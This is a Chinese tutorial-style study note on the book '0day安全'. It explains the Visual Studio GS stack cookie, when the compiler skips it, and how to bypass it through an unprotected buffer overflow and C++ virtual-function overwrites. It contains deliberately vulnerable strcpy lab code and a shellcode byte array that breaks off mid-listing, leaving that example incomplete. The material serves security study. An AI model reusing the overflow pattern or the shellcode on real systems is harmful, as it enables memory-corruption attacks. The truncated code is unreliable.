本文主要是介绍《0day安全》——栈中的守护天使:GS,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
GS安全编译选项
原理
在栈帧中压入一个随机DWORD,IDA称之为“security cookie”,位于EBP之前。系统在.data区块中存放一个security cookie的副本。当栈发生溢出是,security cookie将被覆盖,之后才是EBP和返回地址。函数返回之前比对两者的值,如果改变则说明security cookie已被破坏,发生了溢出。
例外
额外的数据和操作带来的直接后果就是系统性能的下降,为了将对性能的影响降到最小,编译器在编译程序的时候并不是对所有的函数都应用 GS,以下情况不会应用 GS:
1.函数不包含缓冲区。
2.函数被定义为具有变量参数列表。
3.函数使用无保护的关键字标记。
4.函数在第一个语句中包含内嵌汇编代码。
5.缓冲区不是 8 字节类型且大小不大于 4 个字节。
通过添加#pragma strict_gs_check(on) 可以对任意类型的函数添加 Security Coo kie。通过设置该标识,可以对不符合 GS 保护条件的函数 fun添加 GS 保护
利用未被保护的内存突破GS
下边这一段代码,由于函数 vulfuction 中不包含 4 字节以上的缓冲区,所以即便 GS 处于开启状态,这个函数也是不受保护的。
#include "stdafx.h"
#include <string.h>
int vulfuncion(char *str)
{char array[4];strcpy(array, str);return 1;
}
int main()
{char * str = "yeah, the function is without GS";vulfuncion(str); return 0;
}
环境 | 备注 | |
---|---|---|
操作系统 | Windows XP SP3 | |
编译器 | VS 2010 | |
编译选项 | 默认 | |
build | release版本 | debug版本也可 |
编译后IDA查看,函数未进行GS安全检查
如果arry改成16
查看反汇编,就会有security cookie
J__RTC_CheckEsp是检查堆栈平衡的,个_RTC_CheckStackVars就是用来检查局部数据是否访问越界。
如果我们直接运行程序,程序会弹出异常对话框。
我们使用 VS 调试器进行调试,调试器会报告内存访问冲突
0x6974636E,就是被ncti覆盖后的逆序 。
虚函数突破GS
攻击C++虚函数
虚函数入口地址被统一存在虚表中,对象使用虚函数时通过调用虚表指针找到虚表,然后从虚表中取出最终的函数入口地址进行掉用,虚表指针保存在内存空间中,紧接着虚表指针的时其他成员变量,虚函数只有通过对象指针的引用才能显示出其动态调用特性。
#include "stdafx.h"
#include "windows.h"
#include "iostream.h"
#include<stdio.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\x
这篇关于《0day安全》——栈中的守护天使:GS的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!